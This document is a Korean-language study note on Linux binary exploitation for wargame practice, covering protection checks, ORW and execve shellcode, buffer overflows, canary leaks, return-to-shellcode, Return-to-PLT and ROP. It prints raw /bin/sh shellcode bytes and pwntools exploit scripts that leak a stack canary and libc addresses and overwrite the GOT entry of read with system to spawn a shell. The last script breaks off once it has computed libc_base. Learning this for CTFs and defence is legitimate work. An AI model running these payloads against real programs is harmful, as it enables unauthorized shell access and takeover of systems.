Exploit

  • pwntoolchecksec 명령어로 어떤 보안이 적용되었는지 확인 가능하다.

Shell Code

  • exploit은 파일 읽고 쓰기(open-read-write, orw), 셸 명령 실행(execve) 권한을 취득하는 것을 목표로 한다.
  • Shell 권한을 획득하기 위한 어셈블리 코드들의 모음을 ‘Shell Code’ 라 칭한다.

환경세팅

취약점 공격 순서

  1. 바이너리를 분석하여 보호기법을 확인한다.
  • checksec 명령어를 사용하여 바이너리에 적용된 보호기법을 확인하고, 적용 불가능한 exploit 기법을 추려낸다.
  • ldd 명령을 활용하여 의존성 관계를 확인한다.
  1. 코드를 확인하여 취약점 및 구조(stack 형태)을 파악한다
  • stack은 함수에서 선언된 순서대로 할당되지 않음에 주의하며, 무조건 assembly어를 통해 stack 주소에서 특정 변수의 위치를 확인하도록 한다.

  • readelf -h ELF 파일의 헤더 확인

  • readelf -s ELF 파일 내부 symbol 정보들을 출력

    • 함수 주소, 이름 및 속성들을 확인할 수 있다.
  • readelf -S ELF 파일 내부 Section 정보들을 출력

    • objdump -h 명령과 동일한 결과를 출력
    • section의 크기, VMA(Virtual Memory Address), LMA(Load Memory Address), file offset 등의 정보를 확인할 수 있다.
  • objdump -S FILE_NAME: object file을 어셈블리 형태로 주소별로 출력

  • objdump -h FILE_NAME: object file의 section 헤더정보를 확인

  • objdump -d FILE_NAME: object file 내용을 어셈블리어 형태로 출력한다.

  • objdump --disassemble=main : main 함수 disassemble 확인

    • gdb 실행 이후 disass main 으로도 확인 가능
  • 함수의 인자와 레지스터

    • 함수의 인자는 순서대로 rdi, rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20] … 값을 가져와서 사용한다.
  1. 프로그램을 실행시키며 취약점 공략 및 쉘 권한 탈취

자주 쓰는 구문

  • [pwntool] libc_base 주소 획득

    libc = ELF('./libc.so.6')
    libc.symbols['_IO_2_1_stdout_']  # 라이브러리에서 'stdout' 의 상대위치 획득
    libc.symbols['_IO_file_jumps']  # 라이브러리에서 '_IO_jump_t' 구조체 정의 위치 획득
    
  • [linux] 라이브러리 참조 경로 설정 export LD_PRELOAD=$(realpath ./libc.so.6)

  • [SYSV 규약의 특징]

    • 함수 호출시 사용되는 인자는 레지스터에 rdi, rsi, rdx, rcx, r8, r9 순서대로 적용된다. 6개를 넘어서는 인자는 stack 에 쌓인다.
  • [assembly 구문]

    • 64비트 환경에서 쉘 실행 구문(31byte) : \x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
    • 64비트 환경에서 쉘 실행 구문(23byte) : \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

취약점 및 공략

ORW

  • 파일을 열고 읽고 쓸 수 있도록 하는 shell code를 ‘ORW shell code’ 라 칭한다.
  • 시스템 콜들은 rax, rdi, rsi, rdx로 이루어 져 있음을 참고하여 shell code를 작성해 보자.
    • rax : 시스템 콜에 대응되는 번호
    • rdi : 시스템 콜의 첫번째 인자
    • rsi : 시스템 콜의 두번째 인자
    • rdx : 시스템 콜의 세번째 인자
  1. open

    • 리눅스에서 open 명령은 open('FILE_PATH', flag, mode) 형태이다.
    • 이를 어셈블리어로 분리하여 표현하면
      1. ‘FILE_PATH’ 을 stack에 담는다.
        • 이때, stack에는 데이터가 8byte씩 올라가기 때문에 8byte 단위로 string을 끊어서 push한다.
        • ex) “1234567890” 을 stack에 담을 때 “09” “87654321” 순으로 데이터를 push해야 한다.
      2. rsp를 rdi로 옮겨 rdi(첫번째 인자)가 ‘FILE_PATH’를 가리키도록 한다.
      3. 두 번째와 세 번째 인자에 맞게 각각 rsi와 rdx를 설정한다.
      4. open은 시스템 콜 번호 2에 해당하므로 rax를 2로 설정한다.
    • ex) open (“1234567890”, O_RDONLY, NULL) 은 아래 어셈블리어로 치환된다.
      push 0x3039
      mov rax, 0x3837363534333231 ; to push 8byte
      push rax
      mov rdi, rsp    ; (1) rdi = "1234567890"
      xor rsi, rsi    ; (3) rsi = 0 ; O_RDONLY
      xor rdx, rdx    ; (3) rdx = 0 ; NULL
      mov rax, 2      ; (4) rax = 2 ; syscall_open
      syscall         ; open("1234567890", O_RDONLY, NULL)
      
  2. read

    • read 명령은 read(FILE_DESCRIPTOR, buf, size) 형태이다.
    • read 명령을 어셈블리어로 표현하면
      1. open을 통해 열린 파일의 file descriptor는 rax 영역에 저장되므로, rax 값을 rdi 에 대입한다.
      2. 데이터를 저장할 길이를 고려하여 rsi에 값을 대입한다. size가 10이라면 rsp-10 값을 대입한다.
      3. rdx 에 size 값을 대입한다.
      4. rax 에 read에 해당하는 0 값을 대입한다.
    • ex) read(fd, buf, 10) 은 아래 어셈블리어로 표현된다.
      mov rdi, rax      ; (1) fd값을 rdi에 대입
      mov rsi, rsp
      sub rsi, 0x0A     ; (2) rsi = rsp-10 ; buf
      mov rdx, 0x0A     ; (3) rdx = 0x0A     ; length
      mov rax, 0x0      ; (4) rax = 0        ; syscall_read
      syscall           ; read(fd, buf, 0x0A)
      
  3. write

    • write 명령은 write(FILE_DESCRIPTOR, buf, size) 형태이다.
    • write 명령을 어셈블리어로 표현하면
      1. rdi 에 FILE_DESCRIPTOR 값을 대입한다. stdout으로 출력을 하려면 0x01을 적용한다.
      2. rsirdx 는 read 에서 사용한 값과 동일한 값을 적용한다.
      3. write 에 해당하는 시스템콜 번호 1을 rax 에 대입한다.
    • ex) write(fd, buf, 10) 은 아래 어셈블리어로 표현된다.
      mov rdi, 1        ; (1) rdi = 1 ; fd = stdout
                        ; rsi rdx 값은 read와 동일한 값 사용, 별도 설정 안함
      mov rax, 0x1      ; (3) rax = 1 ; syscall_write
      syscall           ; write(fd, buf, 0x0A)
      
  • shell code는 어셈블리 형태이므로 기계어로 컴파일 해서 사용 가능하지만, 실행될 기기의 os, cpu에 따라 다른 방법을 사용해야 한다.
  • shell code를 동작시키기 위해 skeleton code에 shell code를 삽입하여 컴파일 하는 방법을 사용할 수 있다.
    • skeleton code란, 아무런 동작도 하지 않는 어셈블리어로 작성된 코드로, 컴파일이 가능하다.
    • 마치 C언어에서 void main(void) { return 0 } 를 컴파일 하는 것과 같다.
    • C언어로 작성된 skeleton code의 예시는 아래와 같다.
      // 어셈블리어로 작성한 'assem_code' 함수를 실행시키는 파일
      __asm__(
          ".global assem_code\n"
          "assem_code:\n"
    
          # 여기에 원하는 assembly code를 집어넣는다.
          # 어셈블리 코드는 라인마다 마지막에 '\n' 가 붙어야 함에 주의한다.
    
          "xor rdi, rdi   # rdi = 0\n"
          "mov rax, 0x3c	# rax = sys_exit\n"
          "syscall        # exit(0)"
      );
    
      void assem_code();
    
      int main() { assem_code(); }
    

execve

  • execve() 는 Linux kernel 레벨의 함수로, 특정 프로그램을 실행시키는 함수이다.
  • execve("/bin/bash", NULL, NULL) 을 실행할 수 있게 되면 쉘을 실행할 수 있는 권한을 얻은 것이다.
  • execve는 execve(FILE_NAME, argv, envp) 형태로 실행되며, FILE_NAME은 실행할 프로그램 경로, argv는 인자, envp는 환경변수에 해당한다.
  • execve를 어셈블리어로 표현하면
    1. 스택에 ‘/bin/bash’ 를 넣고 rdi에 그 주소를 대입한다.
    2. rsirdx는 NULL이므로 0을 대입한다.
    3. execve는 시스템콜 번호 0x3B에 해당하므로 rax는 0x3B가 적용된다.
      push 0x68
      mov rax, 0x7361622f6e69622f
      push rax
      mov rdi, rsp  ; (1) rdi = "/bin/bash"
      xor rsi, rsi  ; (2) rsi = NULL
      xor rdx, rdx  ; (2) rdx = NULL
      mov rax, 0x3b ; (3) rax = execve
      syscall       ; execve("/bin/bash", null, null)
    

buffer overflow

  • 프로그램에 입력을 위해 지정된 버퍼를 초과하여 입력값을 집어넣어 버퍼 다음에 할당된 메모리의 값을 덮어쓰는 행위
  • scanf("%s",buf)는 입력값의 갯수 제한이 없기 때문에 buffer overflow에 취약하므로 절대 사용하면 안되는 형태 중 하나이다.
    • scanf와 유사하게 strcpy, strcat, sprintf 도 길이에 제약이 없는 함수로, 대신 strncpy, strncat, snprintf, fgets, memcpy 를 사용하는것이 권장된다.
  • C 계열 언어에서 문자열(string)을 처리할 때 문자열의 종결을 null(’\0’) 문자로 판단하는데, 문자열 끝에 null이 존재하지 않는 경우 문자열보다 더 뒷편의 주소를 참조하게 될 수 있고, 이를 OOB(out of boundary) 취약점이라 한다.

ROP(Return Oriented Programming)

  • gadget 이란 어셈블리어에서 ret 명령어 앞에 오는 코드 조각으로, 코드의 실행을 제어한다.
  • gadget 을 사용하여 함수의 호출 혹은 인자를 조작하는 공격 방식을 ROP라 한다.
  • payload를 return gadget(리턴 가젯) 으로 채워지기에 ROP chain 이라고도 한다.

Return to Shellcode

  • buffer overflow를 통해 버퍼에 shell 함수 실행 코드를 삽입하고 STL 에서 return 주소를 해당 버퍼의 주소로 치환하여 shell code를 실행하는 해킹 기법
  • 문제 풀이 예시
    from pwn import *
    
    def slog(n, m): return success(': '.join([n, hex(m)]))
    
    p = process('./r2s')
    #p = remote("host3.dreamhack.games", "11171")
    
    context.arch = 'amd64'
    
    # [1] Get information about buf
    p.recvuntil(b'Address of the buf: ')
    buf = int(p.recvline()[:-1], 16) # remote '\n'
    slog('Address of buf', buf)
    
    p.recvuntil(b'buf and $rbp: ')
    buf2sfp = int(p.recvline().split()[0]) # another way to remove '\n'
    buffer_to_canary = buf2sfp - 8 # canary is in rbp+8, so buf + buffer_to_canary - 8 is address of canary
    slog('buf <=> sfp', buf2sfp)
    slog('buf <=> canary', buffer_to_canary)
    
    # [2] Leak canary value
    payload = b'A'*(buffer_to_canary + 1) # (+1) because of the first null-byte
    
    p.sendafter(b'Input:', payload)
    p.recvuntil(payload)
    canary = b'\x00'+p.recvn(7)
    slog('Canary', u64(canary))
    
    # [3] Exploit
    shell_code = asm(shellcraft.sh())
    print('Length of Shell Code:' , len(shell_code))
    payload = shell_code.ljust(buffer_to_canary, b'A') + canary + b'B' * 0x8 + p64(buf)
    # 버퍼에 쉘 코드를 넣고, 남는 공백은 아무 문자로 메꾼다. 그 후 카나리를 잘 덮고 SFP는 아무 숫자나 채워넣고 리턴 주소를 버퍼 주소로 덮어씀
    # gets() receives input until '\n' is received
    p.sendlineafter(b'Input:', payload)                                                                                                                                                                              
    p.interactive()
    

RTL (Return To Library)

  • NX를 통해 특정 버퍼의 실행을 막자 library의 코드를 실행시켜서 쉘 권한을 얻는 방식의 해킹 기법
  • 리눅스의 libc 라이브러리의 system, execve 함수를 실행시키는 것이 대표적이다.

Return to PLT

  • ASLR 기법이 적용되어도 PLT의 주소는 고정되어 있음을 이용한 공격 방법 으로, PIE 기법을 적용하면 Return to PLT 공격을 예방할 수 있다.
  • system 함수가 호출되고, canary가 유출되는 코드라면 아래 절차로 쉘을 실행시킬 수 있다.
    1. system() 이 호출 될 때 rdi 를 반환하는 위치를 찾는다. rdi 값을 “/bin/sh"로 설정하게 된다면 system("/bin/sh”), 즉 쉘을 실행하게 되는 것이다.
    • ROPgadget 을 사용하여 pop rdi 구문의 주소를 찾는다. (여러 개 있다면 이중 system() 함수의 위치를 특정해야 한다.)
    • ROPgadget --binary BINARY_FILE_PATH --re pop rdi 를 입력하면 BINARY_FILE_PATH 경로의 바이너리에서 ‘pop rdi’ 구문이 들어있는 gadget들을 출력한다.
    1. /bin/sh 문자열이 저장된 주소를 확인한다.
    • gdb로 바이너리를 실행시킨 후 search /bin/sh 명령으로 확인 가능하다.
    1. system 함수의 PLT 주소를 확인한다.
    • gdb로 바이너리를 실행시킨 후 plt 명령으로 system@plt 값의 주소를 확인한다. (info func system@plt 명령도 가능)
    1. 리턴 가젯의 주소를 확인한다.
    • ROPgadget --binary BINARY_FILE_PATH --re ret 명령중 ret 가 단독으로 있는 라인(리턴 가젯)의 주소를 확인한다.
    • system() 함수는 내부에서 movaps 함수를 사용하는데, x64 환경에서 이 함수는 스택에서 값을 읽어올 때 16바이트로 정렬되는지 확인하고, 16바이트로 묶어지지 않는다면 exception을 발생시켜 segment fault을 유발한다.
    • 이를 ‘리턴 가젯’을 스택에 집어넣어 8바이트를 추가하여 16바이트를 맞춘다.
      • exploit을 활용해 A 주소번지를 스택프레임에 return code 영역에 넣으려 할 때, 아래와 같이 return code 자리에 직접 A 주소를 집어넣어도 되지만,
        canary
        ---------- rbp
        SFP
        ---------- rbp + 0x8
        return code   <-- A 주소 주입
        ---------- rbp + 0x10
        
      • 아래 그림과 같이 return code 자리에 리턴 가젯을 주입해도 된다.
        canary
        ---------- rbp
        SFP
        ---------- rbp + 0x8
        return code <-- 리턴 가젯 주입  
        ---------- rbp + 0x10
        ???????     <-- A 주소 주입
        
      • 리턴가젯 retpop rip; jmp rip 와 같은 효과이고, 이는 결국 rbp + 0x10 위치에 있는 A 주소를 실행하게 되어 첫번째 코드와 동작성은 같다.
      • 다만, return code 자리보다 8byte 아래쪽 주소를 사용하게 된다.
    • MOVAPS 관련 참조 페이지
    1. buffer overflow를 활용해 canary를 복구하고, SFP를 아무 값으로 채운다.
    2. return code 리턴 가젯으로 채워 rbp+0x10의 주소에 있는 코드가 실행되도록 한다. (system 함수의 movaps 에 대응하기 위함)
    3. rbp + 0x10 주소를 pop rdi 가젯으로 채우고, (2)에서 찾은 /bin/sh 주소를 집어넣고, (3) 에서 찾은 system 함수의 plt 주소를 그 다음에 집어넣는다.
    • 여기까지 수행하면 스택은 다음과 같다.
       canary
       ---------- rbp
       SFP   <-- 랜덤값 주입
       ---------- rbp + 0x8
       return code <-- 리턴 가젯 주입  
       ---------- rbp + 0x10
       ???????     <-- pop rdi 가젯 주입
       ---------- rbp + 0x18
       ???????     <-- "/bin/sh" string 주소 주입
       ---------- rbp + 0x20
       ???????     <-- system() 함수 plt 주소 주입
       ```
    

Return Oriented Programming

  • 앞서 살펴본 Return to ~ 공격은 일부 방어 기법이 빠져있을 때 사용할 수 있었다.
  • 카나리, NX, ASLR이 모두 적용되어 있어도, 프로그램에 buffer overflow 취약점을 통해 exploit 을 수행하는 방법을 알아본다.
  • NX 보호기법 때문에 코드를 직접 버퍼에 작성하고 실행시킬수 없기에 “Return To Library” 에서처럼 라이브러리의 system 함수와 "/bin/sh" 문자열을 사용하여 system("/bin/sh") 를 동작시키는 것을 최종 목표로 한다.
  1. stack canary 주소 확인

    • printf, write, puts 등 버퍼를 출력하는 함수의 버퍼를 overflow 시켜 rbp-0x08 에 위치한 canary를 확인한다.
  2. system() 함수 주소 확인

    • libc.so.6 에 정의된 system 함수의 위치를 확인하기 위해 같은 라이브러리에 포함된 read, puts, printf 등의 함수가 호출되어 GOT 에 저장되었는지 확인한다.
    • 라이브러리의 함수가 하나라도 호출되었다면, 라이브러리 파일 전체가 로드 되기 때문에 syetem 함수도 메모리에 적재 됨이 보장된다.
    • PLT/GOT 참조
    • ASLR을 통해 라이브러리 파일의 적재 위치를 랜덤화 시켰지만, 라이브러리 파일 내부의 함수 위치는 랜덤화 시키지 못한다.
    • 즉, libc 라이브러리 버전이 같다면 실행된 프로그램의 메모리 상에 로딩된 puts 함수의 주소와 system 함수의 주소상 거리는 항상 일치한다는 것이다.
    • 이 점을 이용하여 (1) libc 라이브러리의 시작 주소(libc_base) 와 (2) system 함수의 offset 을 알 수 있다면 system 함수의 호출이 가능하다.
    1. libc 라이브러리의 시작 주소(libc_base) 확인

      • got에 로드 된 libc 함수의 주소와 해당 함수의 offset 을 빼면 libc_base 주소를 획득할 수 있다.
        • libc_base 는 마지막 바이트가 항상 00 으로 끝나는 특징이 있다.
      1. linux 명령어 + gdb 사용

        • 리눅스 쉘에서 ldd /bin/bash 명령을 사용하여 libc 의 경로를 확인한다.
          • ex)
            linux-vdso.so.1 (0x00007ffff8cd0000)
            libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f0d65a90000)
            libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0d65a80000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d65880000)
            /lib64/ld-linux-x86-64.so.2 (0x00007f0d65c01000)
            
          • 혹은 getconf -a | grep libc 명령어로도 libc 버전을 확인할 수 있다.
        • 확인된 libc 파일 경로를 readelf 명령어로 분석하여 내부 함수들의 주소를 확인한다.
          • readelf -s /lib/x86_64-linux-gnu/libc.so.6
            92: 0000000000083970   448 FUNC    WEAK   DEFAULT   15 gets@@GLIBC_2.2.5
            430: 0000000000084420   476 FUNC    WEAK   DEFAULT   15 puts@@GLIBC_2.2.5
            639: 0000000000061c90   204 FUNC    GLOBAL DEFAULT   15 printf@@GLIBC_2.2.5
            942: 000000000010e1e0   153 FUNC    GLOBAL DEFAULT   15 read@@GLIBC_2.2.5
            1430: 0000000000052290    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
            
          • ELF 상 system 함수의 offset이 0x0000000000052290 임을 알수 있다.
        • gdb 실행 후 p system 으로 got 에 저장된 system 함수의 주소를 확인할 수 있다.
          • ex)
            # p system
            $1 = {int (const char *)} 0x7ffff7e1d290 <__libc_system>
            # p puts
            $2 = {int (const char *)} 0x7ffff7e4f420 <__GI__IO_puts>
            
        • got 상 주소에서 offset을 빼면 libc_base 주소를 구할 수 있다.
          • system 함수: 0x7ffff7e1d290 - 0x0000000000052290 = 0x7FFFF7DCB000
          • puts 함수: 0x7ffff7e4f420 - 0x0000000000084420 = 0x7FFFF7DCB000
          • libc_base의 주소가 0x7FFFF7DCB000 이며, 어떤 함수를 사용해도 계산 결과가 같은 것을 볼 수 있다.
      2. pwntool 사용

        • libc 라이브러리의 ELF를 확인한다.

          from pwn import *
          
          libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
          offset_read = libc.symbols['read']
          
        • 이제 read 함수의 주소를 확인해야 한다. 하지만 pwntool에서는 read 함수의 주소가 저장된 got 테이블의 주소는 확인할 수 있지만, 그 안에 저장된 값(read 함수의 메모리상 주소)은 확인할 수 없다.

        • read 함수의 메모리상 주소값을 확인하려면 프로그램에서 got 값을 출력하도록 exploit code를 작성해야 한다.

        • buffer overflow를 통해 write(1,read_got) 를 호출하면 원하는 값을 출력할 수 있다.

        • rdi(첫번째 인자)를 1, rsi(두번째 인자)를 read_got로 설정하기 위해 return gadget 을 사용한다.

        • ROPgadget --binary PROGRAM_PATH 로 검색 하여 pop rsipop rdi gadget 을 찾는다.

          0x0000000000400851 : pop rsi ; pop r15 ; ret
          0x0000000000400853 : pop rdi ; ret
          # 검색 결과 pop rdi / pop rsi 구문이 포함된 다른 gadget 이 없으므로 선택지는 없다.
          # gadget 의 주소는 동일한 프로그램 실행시 항상 일정한 값을 가지므로 미리 추출하여 사용할 수 있다.
          
        • exploit 코드를 작성한다.

          from pwn import *
          
          p = process(PROGRAMA_PATH)
          e = ELF(PROGRAMA_PATH)
          
          # exploit code, 코드상 buffer overflow를 발생시킬 수 있는 구문이 있다고 가정한다.
          read_plt = e.plt['read']  # read 함수의 plt
          read_got = e.got['read']  # read 함수의 got
          write_plt = e.plt['write']  # write 함수의 plt
          pop_rdi_ret = 0x0000000000400853  # pop rdi; ret 구문의 주소
          pop_rsi_pop_r15_ret = 0x0000000000400851  # pop rsi; pop r15; ret 구문의 주소
          
          payload = b'A'*(buffer_length + 8) + canary + b'B'*8  # overwrite buffer_length + 8(canary_dummy) + canary(8) + SFP(8)
          payload += p64(pop_rdi_ret) + p64(1)  # rdi 에 1 을 적용하도록 gadget 배치
          payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0)  # rsi 에 read_got 을 넣고, r15에 0(아무값) 을 넣는다.
          payload += p64(write_plt)  # return 주소를 write_plt 로 변경한다. 
          # write(1,read_got) 가 완성되었다. 결과로 read 함수의 주소를 출력한다.
          
        • 출력된 값에서 read 함수의 offset (앞서 구한 offset_read) 을 빼면 libc_base 를 구할 수 있다.

    2. system 함수의 offset 확인

      1. linux 명령어 사용
        • readelf -s /lib/x86_64-linux-gnu/libc.so.6
          92: 0000000000083970   448 FUNC    WEAK   DEFAULT   15 gets@@GLIBC_2.2.5
          430: 0000000000084420   476 FUNC    WEAK   DEFAULT   15 puts@@GLIBC_2.2.5
          639: 0000000000061c90   204 FUNC    GLOBAL DEFAULT   15 printf@@GLIBC_2.2.5
          942: 000000000010e1e0   153 FUNC    GLOBAL DEFAULT   15 read@@GLIBC_2.2.5
          1430: 0000000000052290    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
          
        • system 함수의 offset은 0x0000000000052290
      2. pwntool 사용
        • ELF 함수로 ELF 파일을 읽고 필요한 함수의 symbol을 참조한다.
          libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
          offset_system = libc.symbols['system']
          print(offset_system)
          
    • 1,2에서 나온 결과를 종합하여, libc_base 에 system 함수의 offset을 더한 결과가 “실행된 프로그램의 메모리에 적재된 system 함수의 주소” 값이다.
    • libc 의 일부 함수의 주소를 입력하면 libc 버전 및 다른 함수의 주소도 확인할 수 있는 사이트가 있다.
  3. “/bin/sh” 문자열의 위치를 찾는다. (생략 가능)

    • “/bin/sh” 문자열을 lib.so.6 파일에서 찾을 수 있지만, writing 가능한 버퍼에 직접 문자열을 입력하는 방법도 있다. 후자의 경우 굳이 “/bin/sh” 를 찾을 필요가 없다.
    • libc.so.6 에 포함된 “/bin/sh” 문자열의 주소를 찾으려면, system() 함수의 주소를 찾을 때와 마찬가지로 /bin/sh 문자열의 offset 에 libc_base 주소를 더하여 참조할 수 있다.
    1. gdb 사용

      • gdb 를 사용하면 offset이 아닌 실제 주소를 확인할 수 있다. search /bin/sh 명령으로 /bin/sh 의 “메모리상 주소” 가 출력된다.
        • ex)
          pwndbg> search /bin/sh
          Searching for value: '/bin/sh'
          libc-2.31.so    0x7ffff7f7f5bd 0x68732f6e69622f /* '/bin/sh' */
          
          # /bin/sh 의 주소(0x7ffff7f7f5bd) 에서 libc_base 를 뺀 값이 /bin/sh 의 offset이 된다.
          
    2. linux 명령어 사용

      • linux의 strings 명령을 이용한다.
      • strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh 명령 결과 1b45bd /bin/sh 가 확인된다.
    3. pwntool 사용

    • ELF 파일을 분석하여 나온 결과에 libc_base 를 더하면 실제 메모리 주소가 나온다.
    • ex)
      from pwn import *
      libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
      
      # /bin/sh offset 확인
      bin_sh1 = list(libc.search(b'/bin/sh'))[0]  # 방법1
      bin_sh2 = next(libc.search(b'/bin/sh'))  # 방법2
      # -> /bin/sh/ 의 메모리상 주소 == libc_base + bin_sh1 이다.
      
  4. system("/bin/bash") 를 작성한다.

    • read 함수의 got 에 system 함수의 주소를 넣으면, 코드상 read("/bin/bash") 가 실제로는 system("/bin/bash") 로 동작하게 된다.
    • 이를 이용해 got 영역을 조작하여 system 함수를 호출한다.
    1. pwntool 사용
      • 리눅스에서 ROPgadget --binary rop 명령으로 바이너리를 분석하면, return gadget 들이 확인된다. 이중 rdi, rsi 가 포함된 gadget들을 확인한다. (이하 rdi_ret, rsi_ret)
      • rdi_ret, rsi_ret 을 활용하여 rdi() 와 rsi 값을 알맞게 설정 해 주고, 원하는 함수를 호출한다..
      • gadget들은 특정 함수를 호출하는 것이 아니기 때문에 동일한 stack frame 안에서 호출되므로 canary 를 세팅 해 줄 필요는 없다.
      • 코드상으로는 다음과 같다.
        # (2) 에서 libc_base 를 알아내기 위해 buffer overflow 로 read 함수의 got 영역을 출력하도록 payload를 작성했다.
        # 여기에 system("/bin/sh") 를 호출하기 위한 코드를 이어서 작성한다.
        # read_got 에 system 함수의 주소를 덮어쓰기 위해 read 함수를 한 번 더 호출한다.
        # read(0, read_got, arg3) 를 호출하여 입력을 한 번 더 받도록 한다.
        # arg3, 즉 rdx 에 6 이상의 값이 들어가야 하지만, ROPgadget 명령으로 확인 결과 rdx 가 포함된 gadget이 없다면 운에 맡기고 호출한다.
        payload += p64(pop_rdi_ret) + p64(0)  # rdi 에 0 값 적용
        payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0)  # rsi 에 read_got 주소 적용, r15 pop을 위한 더미값 0 적용
        # read 함수의 plt 를 호출하면 system 함수가 호출되도록 got를 변경한다.
        # e = ELF(PROGRAM_PATH)
        # read_plt = e.plt['read']
        payload += p64(read_plt)  # read 함수 호출
        
        # read의 got를 system으로 변경하게 되면, read("/bin/bash") 를 호출한 결과는 system("/bin/bash") 가 된다.  
        payload += p64(pop_rdi_ret) + p64(addr_bin_sh)
        payload += p64(read_plt)
        
  • 정리하자면 아래와 같다.
    • 전제조건 :
        1. buffer overflow 2회 이상
        1. 바이너리 보유
    • 순서:
        1. canary 획득
        1. exploit 용 payload 작성
        • 바이너리를 ROPgadget --binary rop 로 분석하여 return gadget 추출
        • write(1, read_got, ?) 함수를 return gadget 으로 작성하여 read 함수(다른 함수도 가능) 의 got 주소 출력 유도
        • read(0, read_got, ?) 함수를 return gadget 으로 작성하여 read 함수의 got 영역 값 덮어쓰도록 하기
          • read(read_got + 8) 함수를 호출. read 함수의 got 를 system 함수의 주소로 변경하고, read_got + 8"/bin/sh" 를 넣을 예정이기 때문에, 이 구문은 system("/bin/sh") 가 될 예정
        1. payload를 프로그램에 전달하여 출력된 read 함수의 주소를 획득, 획득한 주소에서 read 함수의 offset 을 빼서 libc_base 계산
        1. libc_base 에 system 함수의 offset 을 더해서 system 함수의 주소 계산
        1. system 함수의 주소(8byte) + “/bin/sh”(8byte) 의 payload 를 작성하여 프로그램에 전달
        • 앞서 작성한 read(0, read_got, ?) 함수에서 이를 수신함
      • 그 결과 프로그램에서 read(read_got + 8)system("/bin/sh") 로 변경되고, 쉘 권한을 획득하게 됨
  • 전체 코드는 다음과 같다.
from pwn import *

##########
# RUN PROGRAM
##########
p = process(PROGRAM_PATH)
e = ELF(PROGRAM_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# 특정 libc 파일을 적용하고 싶을 때
# p = process('PROGRAM_PATH', env= {"LD_PRELOAD" : "./libc.so.6"})
# libc = ELF('./libc.so.6')

buffer_length = 0x30  # exploit 할 코드에 따라 변경 필요

##########
# LEAK CANARY
##########
payload = b'A'*(buffer_length + 8 + 1) # overwrite buffer_length + 8(other local variable) + 1(canary_first 1 byte null)
# p.sendafter(b'Buf: ', payload)
p.send(payload)
p.recvuntil(payload)
canary = b'\x00' + p.recvn(7)
print('canary:',hex(u64(canary)))

##########
# LEAK ADDRESS OF LIBC FUNC
##########
read_got = e.got['read']  # read 함수의 got
read_plt = e.plt['read']  # read 함수의 plt
write_plt = e.plt['write']  # write 함수의 plt
pop_rdi_ret = 0x0000000000400853  # pop rdi; ret 구문의 주소
pop_rsi_pop_r15_ret = 0x0000000000400851  # pop rsi; pop r15; ret 구문의 주소
ret = 0x0000000000400596  # ret 구문의 주소, 리턴 가젯

payload = b'A'*(buffer_length + 8) + canary + b'B'*8  # overwrite buffer_length + 8(other local variable) + canary(8) + SFP(8)
payload += p64(pop_rdi_ret) + p64(1)  # rdi 에 1 을 적용하도록 gadget 배치
payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0)  # rsi 에 read_got 을 넣고, r15에 0(아무값) 을 넣는다.
payload += p64(write_plt)  # return 주소를 write_plt 로 변경한다.
# write(1,read_got) 가 완성되었다. payload를 프로그램에 넘기면 read 함수의 주소를 출력하게 된다.

##########
# CHANGE GOT OF READ INTO ADDR OF SYSTEM
##########
# 앞서 libc_base를 알아내기 위해 buffer overflow로 read 함수의 got 영역을 출력하도록 payload를 작성했다.
# payload에 system("/bin/sh") 를 호출하기 위한 코드를 이어서 작성한다.
# read_got 에 system 함수의 주소를 덮어쓰기 위해 read 함수를 한 번 더 호출한다.
# read(0, read_got, arg3) 를 호출하여 입력을 한 번 더 받도록 한다.
# arg3, 즉 rdx 에 6 이상의 값이 들어가야 하지만, ROPgadget 명령으로 확인 결과 rdx 가 포함된 gadget이 없다면 운에 맡기고 호출한다.
payload += p64(pop_rdi_ret) + p64(0)  # rdi 에 0 값 적용
payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0)  # rsi 에 read_got 주소 적용, r15 pop을 위한 더미값 0 적용
# read 함수의 plt 를 호출하면 system 함수가 호출되도록 got를 변경한다.
payload += p64(read_plt)  # read 함수 호출

# 참조
offset_bin_sh = next(libc.search(b'/bin/sh'))  # libc에 위치한 "/bin/sh" 문자열의 위치를 추출할 수 있다.
print('offset /bin/sh:', hex(offset_bin_sh))

##########
# CALL read("/bin/bash")
##########
# read의 got를 system으로 변경하게 되면, read("/bin/bash") 를 호출한 결과는 system("/bin/bash") 가 된다.
payload += p64(pop_rdi_ret) + p64(read_got + 0x08)  # "/bin/bash" 문자열을 libc에서 사용하지 않고 got 영역에 덮어써서 사용하겠다.
payload += p64(ret)  # system() 함수 내부의 movaps 가 스택의 데이터를 16바이트로 정렬하므로, 16바이트 짝을 맞추기 위해 리턴가젯 사용
payload += p64(read_plt)


# payload 보내게 되면 (1) read 함수 주소 출력, (2) stdin 입력 대기, 입력된 값으로 read_got 덮어씀, (3) system('/bin/sh') 실행
p.sendafter(b'Buf: ', payload)
addr_read = p.recvn(6).ljust(8,b'\x00')  # ASLR이 적용되면 라이브러리 함수의 주소는 항상 0x00007f 로 시작하므로 0x00 0x00 + 6자리로 구성된다.
print('addr read:', hex(u64(addr_read)))

##########
# CALC LIBC_BASE ADDR
##########
# 유출된 read 함수의 주소로 libc_base 가 메모리상에 위치하는 주소를 계산한다.
offset_read = libc.symbols['read']
libc_base = u64(addr_read) - offset_read
